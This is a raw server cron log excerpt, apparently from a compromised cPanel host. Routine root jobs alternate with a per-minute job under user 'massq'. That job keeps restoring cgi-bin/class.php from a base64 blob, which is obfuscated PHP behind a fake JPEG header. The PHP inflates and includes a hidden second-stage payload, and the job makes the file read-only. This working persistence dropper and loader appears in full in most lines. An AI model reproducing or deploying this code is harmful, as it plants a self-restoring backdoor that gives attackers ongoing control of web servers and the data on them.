Nov 15 10:29:01 server CROND[18205]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:30:01 server CROND[18479]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:30:01 server CROND[18480]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:30:01 server CROND[18482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 10:30:01 server CROND[18481]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:31:01 server CROND[18913]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:32:01 server CROND[19180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:33:01 server CROND[19451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:34:01 server CROND[19749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:35:01 server CROND[20024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:35:01 server CROND[20025]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 10:35:01 server CROND[20030]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:35:01 server CROND[20029]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 10:35:01 server CROND[20031]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:36:01 server CROND[20449]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:37:01 server CROND[20732]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:38:01 server CROND[21003]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:39:01 server CROND[21282]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 10:39:01 server CROND[21283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:40:01 server CROND[21566]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 10:40:01 server CROND[21567]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:40:01 server CROND[21568]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:40:01 server CROND[21569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:41:01 server CROND[21992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:42:01 server CROND[22264]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
